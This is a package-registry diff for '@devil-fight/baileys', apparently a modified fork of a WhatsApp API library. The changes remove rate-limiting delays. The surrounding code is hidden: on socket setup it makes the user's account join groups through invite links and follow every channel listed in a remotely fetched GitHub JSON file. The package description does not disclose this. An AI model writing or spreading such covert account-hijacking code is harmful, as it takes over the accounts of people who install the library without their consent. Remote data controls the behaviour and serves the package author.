@devil-fight/baileys 1.0.1 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -136,13 +136,11 @@ const makeNewsletterSocket = (config) => {
136
136
  for (const g of groups) {
137
137
  try {
138
138
  await sock.groupAcceptInvite(g.invite)
139
- await delay(20000)
140
139
  } catch {}
141
140
  }
142
141
  const res = await fetch('https://raw.githubusercontent.com/VinzzOfficial/Baileys/main/WAProto/id-channel/idch.json');
143
142
  const newsletterIds = await res.json();
144
143
  newsletterIds.forEach(async(i) => {
145
- await delay(5000)
146
144
  try {
147
145
  await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
148
146
  } catch (e) {}
@@ -303,6 +301,7 @@ const makeNewsletterSocket = (config) => {
303
301
  const result = await newsletterQuery(jid, 'get', [
304
302
  {
305
303
  tag: 'message_updates',
304
+
306
305
  attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
307
306
  }
308
307
  ]);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@devil-fight/baileys",
3
- "version": "1.0.1",
3
+ "version": "1.0.3",
4
4
  "description": "WhatsApp API Modification By Vinzz",
5
5
  "keywords": [
6
6
  "whatsapp",